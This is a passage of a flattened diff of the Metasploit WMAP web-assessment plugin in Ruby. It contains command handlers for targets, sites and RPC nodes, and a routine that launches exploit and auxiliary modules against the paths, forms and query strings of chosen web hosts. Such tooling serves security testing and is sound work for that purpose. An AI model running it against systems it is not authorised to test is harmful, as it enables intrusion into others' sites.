= "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" - @stdio.print_raw(@stdio.substitute_colors(msg)) - - #rescue - #blah - #end - sleep(2) - idx += 1 - end - end - #rescue - # print_status("End.") - #end - end - - def rpc_list_nodes() - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Nodes', - 'Columns' => - [ - 'Id', - 'Host', - 'Port', - 'SSL', - 'User', - 'Pass', - 'Status', - '#jobs', - ]) - - idx=0 - - rpc_reconnect_nodes() - - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - if not rpccon - v = "NOCONN" - n = "" - else - begin - v = rpccon.call('core.version')['version'] - rescue - v = "ERROR" - end - - begin - n = rpccon.call('job.list').length - rescue - n = "" - end - end - - tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] - idx += 1 - end - - print_status tbl.to_s + "\n" - end - - def active_rpc_nodes - if self.rpcarr.length == 0 - return 0 - else - idx = 0 - self.rpcarr.each do |k,conn| - if conn - idx += 1 - end - end - return idx - end - end - - def view_modules - indent = ' ' - - wmaptype = [:wmap_ssl, - :wmap_server, - :wmap_dir, - :wmap_file, - :wmap_unique_query, - :wmap_query, - :wmap_generic - ] - - if not self.wmapmodules - load_wmap_modules(true) - end - - wmaptype.each do |modt| - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => modt.to_s, - 'Columns' => - [ - 'Name', - 'OrderID', - ]) - - idx = 0 - self.wmapmodules.each do |w| - oid = w[3] - if w[3] == 0xFFFFFF - oid = ":last" - end - - if w[2] == modt - tbl << [w[0],oid] - idx += 1 - end - end - - print_status tbl.to_s + "\n" - end - end - - # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And - # sort_by of a hash returns an array so this is the reason for this ugly piece of code - def sort_by_orderid(m) - temphash=Hash.new() - temparr=[] - - temparr = m.sort_by do |xref,v| - xref[3] - end - - temparr.each do |b| - temphash[b[0]] = b[1] - end - temphash - end - - # Load all wmap modules - def load_wmap_modules(reload) - if reload or not self.wmapmodules - print_status("Loading wmap modules...") - - self.wmapmodules=[] - - idx = 0 - [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| - # Scan all exploit modules for matching references - mtype[0].each_module do |n,m| - e = m.new - - # Only include wmap_enabled plugins - if e.respond_to?("wmap_enabled") - penabled = e.wmap_enabled - - if penabled - self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] - idx += 1 - end - end - end - end - print_status("#{idx} wmap enabled modules loaded.") - end - end - - def view_vulns - framework.db.hosts.each do |host| - host.services.each do |serv| - serv.web_sites.each do |site| - site.web_vulns.each do |wv| - print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") - print_status("\t#{wv.name} #{wv.description}") - print_status("\t#{wv.method} #{wv.proof}") - end - end - end - end - end - end - - class WebTarget < ::Hash - def to_url - proto = self[:ssl] ? "https" : "http" - "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" - end - end - - - def initialize(framework, opts) - super - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - wmapversion = '1.5.1' - - wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" - wmapbanner += "%red| | | || | | || | || |-'%clr\n" - wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" - wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" - - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - - @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) - - add_console_dispatcher(WmapCommandDispatcher) - #print_status("#{wmapbanner}") - end - - def cleanup - remove_console_dispatcher('wmap') - end - - def name - "wmap" - end - - def desc - "Web assessment plugin" - end + class WmapCommandDispatcher + + attr_accessor :wmapmodules # Enabled Wmap modules + attr_accessor :targets # Targets + attr_accessor :lastsites # Temp location of previously obtained sites + attr_accessor :rpcarr # Array or rpc connections + attr_accessor :njobs # Max number of jobs + attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg + attr_accessor :runlocal # Flag to run local modules only + attr_accessor :masstop # Flag to stop everything + attr_accessor :killwhenstop # Kill process when exiting + + include Msf::Ui::Console::CommandDispatcher + + def name + "wmap" + end + + # + # The initial command set + # + def commands + { + "wmap_targets" => "Manage targets", + "wmap_sites" => "Manage sites", + "wmap_nodes" => "Manage nodes", + "wmap_run" => "Test targets", + "wmap_modules" => "Manage wmap modules", + "wmap_vulns" => "Display web vulns", + } + end + + def cmd_wmap_vulns(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_vulns + return + when '-h' + print_status("Usage: wmap_vulns [options]") + print_line("\t-h Display this help text") + print_line("\t-l Display web vulns table") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + + def cmd_wmap_modules(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_modules + return + when '-r' + load_wmap_modules(true) + return + when '-h' + print_status("Usage: wmap_modules [options]") + print_line("\t-h Display this help text") + print_line("\t-l List all wmap enabled modules") + print_line("\t-r Reload wmap modules") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_targets(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-c' + self.targets = Hash.new() + when '-l' + view_targets + return + when '-t' + process_urls(args.shift) + when '-d' + process_ids(args.shift) + when '-h' + print_status("Usage: wmap_targets [options]") + print_line("\t-h Display this help text") + print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") + print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") + print_line("\t-c Clean target sites list") + print_line("\t-l List all target sites") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_sites(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + s = add_web_site(args.shift) + if s + print_status("Site created.") + else + print_error("Unable to create site") + end + when '-d' + del_idx = args + if del_idx + delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) + return + else + print_error("Provide index of site to delete") + end + when '-l' + view_sites + return + when '-s' + u = args.shift + l = args.shift + s = args.shift + + if not u + return + end + + if l == nil or l.empty? + l = 200 + s = true + else + l = l.to_i + s = false + end + + if u.include? 'http' + # Parameters are in url form + view_site_tree(u,l,s) + else + # Parameters are digits + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = u.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + #print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + view_site_tree(ent,l,s) + end + end + return + when '-h' + print_status("Usage: wmap_sites [options]") + print_line("\t-h Display this help text") + print_line("\t-a [url] Add site (vhost,url)") + print_line("\t-d [ids] Delete sites (separate ids with space)") + print_line("\t-l List all available sites") + print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_nodes(*args) + + if not self.rpcarr + self.rpcarr=Hash.new() + end + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + h = args.shift + r = args.shift + s = args.shift + u = args.shift + p = args.shift + + res = rpc_add_node(h,r,s,u,p,false) + if res + print_status("Node created.") + else + print_error("Unable to create node") + end + when '-c' + idref = args.shift + + if not idref + print_error("No id defined") + return + end + if idref.upcase == 'ALL' + print_status("All nodes removed") + self.rpcarr = Hash.new() + else + idx=0 + self.rpcarr.each do |k,v| + if idx == idref.to_i + self.rpcarr.delete(k) + print_status("Node deleted #{k}") + end + idx += 1 + end + end + when '-d' + host = args.shift + port = args.shift + user = args.shift + pass = args.shift + dbname = args.shift + + res = rpc_db_nodes(host,port,user,pass,dbname) + if res + print_status("OK.") + else + print_error("Error") + end + when '-l' + rpc_list_nodes + return + when '-j' + rpc_view_jobs + return + when '-k' + node = args.shift + jid = args.shift + rpc_kill_node(node,jid) + return + when '-h' + print_status("Usage: wmap_nodes [options]") + print_line("\t-h Display this help text") + print_line("\t-c id Remove id node (Use ALL for ALL nodes") + print_line("\t-a host port ssl user pass Add node") + print_line("\t-d host port user pass db Force all nodes to connect to db") + print_line("\t-j View detailed jobs") + print_line("\t-k ALL|id ALL|job_id Kill jobs on node") + print_line("\t-l List all current nodes") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_run(*args) + # Stop everything + self.masstop = false + self.killwhenstop = true + + trap("INT") { + print_error("Stopping execution...") + self.masstop = true + if self.killwhenstop + rpc_kill_node('ALL','ALL') + end + } + + # Max numbers of concurrent jobs per node + self.njobs = 25 + self.nmaxdisplay = false + self.runlocal = false + + # Formating + sizeline = 60 + + wmap_show = 2**0 + wmap_expl = 2**1 + + # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] + wmap_exclude_files = '.*\.(gif|jpg|png*)$' + + run_wmap_ssl = true + run_wmap_server = true + run_wmap_dir_file = true + run_wmap_query = true + run_wmap_unique_query = true + run_wmap_generic = true + + # If module supports datastore['VERBOSE'] + moduleverbose = false + + showprogress = false + + if not self.rpcarr + self.rpcarr = Hash.new() + end + + if not run_wmap_ssl + print_status("Loading of wmap ssl modules disabled.") + end + if not run_wmap_server + print_status("Loading of wmap server modules disabled.") + end + if not run_wmap_dir_file + print_status("Loading of wmap dir and file modules disabled.") + end + if not run_wmap_query + print_status("Loading of wmap query modules disabled.") + end + if not run_wmap_unique_query + print_status("Loading of wmap unique query modules disabled.") + end + if not run_wmap_generic + print_status("Loading of wmap generic modules disabled.") + end + + stamp = Time.now.to_f + mode = 0 + + eprofile = [] + using_p = false + using_m = false + usinginipath = false + + mname = '' + inipathname = '/' + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-t' + mode |= wmap_show + when '-e' + mode |= wmap_expl + + profile = args.shift + + if profile + print_status("Using profile #{profile}.") + + begin + File.open(profile).each do |str| + if not str.include? '#' + # Not a comment + modname = str.strip + if not modname.empty? + eprofile << modname + end + end + using_p = true + end + rescue + print_error("Profile not found or invalid.") + return + end + else + print_status("Using ALL wmap enabled modules.") + end + when '-m' + mode |= wmap_expl + + mname = args.shift + + if mname + print_status("Using module #{mname}.") + end + using_m = true + when '-p' + mode |= wmap_expl + + inipathname = args.shift + + if inipathname + print_status("Using initial path #{inipathname}.") + end + usinginipath = true + + when '-h' + print_status("Usage: wmap_run [options]") + print_line("\t-h Display this help text") + print_line("\t-t Show all enabled modules") + print_line("\t-m [regex] Launch only modules that name match provided regex.") + print_line("\t-p [regex] Only test path defined by regex.") + print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") + print_line("\t (No profile file runs all enabled modules.)") + print_line("") + return + else + print_error("Unknown flag") + return + end + end + + if (self.rpcarr.length == 0) and (mode & wmap_show == 0) + print_error("NO WMAP NODES DEFINED. Executing local modules") + self.runlocal = true + end + + if self.targets == nil + print_error("Targets have not been selected.") + return + end + + if self.targets.keys.length == 0 + print_error("Targets have not been selected.") + return + end + + execmod = true + if (mode & wmap_show != 0) + execmod = false + end + + self.targets.each_with_index do |t, idx| + + selected_host = t[1][:host] + selected_port = t[1][:port] + selected_ssl = t[1][:ssl] + selected_vhost = t[1][:vhost] + + print_status ("Testing target:") + print_status ("\tSite: #{selected_vhost} (#{selected_host})") + print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") + print_line '='* sizeline + print_status("Testing started. #{(Time.now )}") + + if not selected_ssl + run_wmap_ssl = false + #print_status ("Target is not SSL. SSL modules disabled.") + end + + # wmap_dir, wmap_file + matches = Hash.new() + + # wmap_server + matches1 = Hash.new() + + # wmap_query + matches2 = Hash.new() + + # wmap_ssl + matches3 = Hash.new() + + # wmap_unique_query + matches5 = Hash.new() + + # wmap_generic + matches10 = Hash.new() + + # OPTIONS + opt_str = nil + jobify = false + + # This will be clean later + load_wmap_modules(false) + + self.wmapmodules.each do |w| + case w[2] + when :wmap_server + if run_wmap_server + matches1[w]=true + end + when :wmap_query + if run_wmap_query + matches2[w]=true + end + when :wmap_unique_query + if run_wmap_unique_query + matches5[w]=true + end + when :wmap_generic + if run_wmap_generic + matches10[w]=true + end + when :wmap_dir, :wmap_file + if run_wmap_dir_file + matches[w]=true + end + when :wmap_ssl + if run_wmap_ssl + matches3[w]=true + end + else + # Black Hole + end + end + + # Execution order (orderid) + matches = sort_by_orderid(matches) + matches1 = sort_by_orderid(matches1) + matches2 = sort_by_orderid(matches2) + matches3 = sort_by_orderid(matches3) + matches5 = sort_by_orderid(matches5) + matches10 = sort_by_orderid(matches10) + + # + # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. + # :wmap_ssl + # + + print_status "\n=[ SSL testing ]=" + print_line "=" * sizeline + + if not selected_ssl + print_status ("Target is not SSL. SSL modules disabled.") + end + + idx = 0 + matches3.each_key do |xref| + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be run before all tests, once usually again the web server. + # :wmap_server + # + print_status "\n=[ Web Server testing ]=" + print_line "=" * sizeline + + idx = 0 + matches1.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules to be run at every path/file + # wmap_dir, wmap_file + # + print_status "\n=[ File/Dir testing ]=" + print_line "=" * sizeline + + idx = 0 + matches.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx+=1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + wtype = xref[2] + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + test_tree = load_tree(w) + test_tree.each do |node| + + if self.masstop + print_error("STOPPED.") + return + end + + p = node.current_path + testpath = Pathname.new(p) + strpath = testpath.cleanpath(false).to_s + + # + # Fixing paths + # + + if node.is_leaf? and not node.is_root? + # + # Later we can add here more checks to see if its a file + # + else + if node.is_root? + strpath = "/" + else + strpath = strpath.chomp + "/" + end + end + + strpath = strpath.gsub("//", "/") + #print_status("Testing path: #{strpath}") + + # + # Launch plugin depending module type. + # Module type depends on main input type. + # Code may be the same but it depend on final + # versions of plugins + # + + case wtype + when :wmap_file + if node.is_leaf? and not node.is_root? + # + # Check if an exclusion regex has been defined + # + if self.framework.datastore['WMAP_EXCLUDE'] + excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] + else + excludefilestr = wmap_exclude_files + end + + if not strpath.match(excludefilestr) + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + when :wmap_dir + if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + end + end + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI with UNIQUE query parameters. + # wmap_unique_query + # + print_status "\n=[ Unique Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches5.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + utest_query = Hash.new() + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |form| + + if self.masstop + print_error("STOPPED.") + return + end + + # + # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' + # + + datastr = "" + typestr = "" + + temparr = [] + + #print_status "---------" + #print_status form.params + #print_status "+++++++++" + + form.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{form.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + if (utest_query.has_key?(signature(form.path,datastr)) == false) + + modopts['METHOD'] = form.method.upcase + modopts['PATH'] = form.path + modopts['QUERY'] = form.query + if form.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + if form.method.upcase == 'POST' + modopts['DATA'] = datastr + end + modopts['TYPES'] = typestr + + # + # TODO: Add headers, etc. + # + if (not usinginipath) or (usinginipath and form.path.match(inipathname)) + + print_status "Path #{form.path}" + #print_status("Unique PATH #{modopts['PATH']}") + #print_status("Unique GET #{modopts['QUERY']}") + #print_status("Unique POST #{modopts['DATA']}") + #print_status("MODOPTS: #{modopts}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + utest_query[signature(form.path,datastr)]=1 + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + else + #print_status("Already tested") + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI query parameters. + # This approach will reduce the complexity of the Tree used before + # and will make this shotgun implementation much simple. + # wmap_query + # + print_status "\n=[ Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches2.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |req| + + if self.masstop + print_error("STOPPED.") + return + end + + datastr = "" + typestr = "" + + temparr = [] + + req.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{req.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + modopts['METHOD'] = req.method.upcase + modopts['PATH'] = req.path + if req.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + modopts['DATA'] = datastr if req.method.upcase == 'POST' + modopts['TYPES'] = typestr + + # + # TODO: Add method, headers, etc. + # + if (not usinginipath) or (usinginipath and req.path.match(inipathname)) + + print_status "Path #{req.path}" + #print_status("Query PATH #{modopts['PATH']}") + #print_status("Query GET #{modopts['QUERY']}") + #print_status("Query POST #{modopts['DATA']}") + #print_status("Query TYPES #{typestr}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be after all tests, once. + # Good place to have modules that analize the test results and/or + # launch exploits. + # :wmap_generic + # + print_status "\n=[ General testing ]=" + print_line "=" * sizeline + + idx = 0 + matches10.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + + if (mode & wmap_expl != 0) + print_line "+" * sizeline + + if not self.runlocal + if execmod + rpc_list_nodes() + print_status("Note: Use wmap_nodes -l to list node status for completion") + end + end + + print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") + print_line "+" * sizeline + end + + print_status("Done.") + end + + # EOM + end + + def view_targets + if self.targets == nil or self.targets.keys.length == 0 + print_status "No targets have been defined" + return + end + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Defined targets', + 'Columns' => + [ + 'Id', + 'Vhost', + 'Host', + 'Port', + 'SSL', + 'Path', + ]) + + self.targets.each_with_index { |t, idx| + tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] + } + + print_status tbl.to_s + "\n" + end + + def delete_sites(wmap_index) + idx = 0 + to_del = {} + # Rebuild the index from wmap_sites -l + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + # If the index of this site matches any deletion index, + # add to our hash, saving the index for later output + to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} + idx += 1 + end + end + end + to_del.each do |widx,wsite| + if wsite.delete + print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + else + print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + end + end + end + + + def view_sites + # Clean temporary sites list + self.lastsites = [] + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Available sites', + 'Columns' => + [ + 'Id', + 'Host', + 'Vhost', + 'Port', + 'Proto', + '# Pages', + '# Forms', + ]) + + idx = 0 + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + c = web.web_pages.count + f = web.web_forms.count + tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] + idx += 1 + + turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" + self.lastsites << turl + end + end + end + + print_status tbl.to_s + "\n" + + end + + # Reusing code from hdmoore + # + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + def add_web_site(url) + + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + return + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + return + end + + ssl = false + if uri.scheme == 'https' + ssl = true + end + + site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) + + return site + end + + # Code by hdm. Modified two lines by et + # + def process_urls(urlstr) + + target_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + target_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + # First time targets are defined + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + #print_status "aaa" + #print_status framework.db.workspace.name + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + 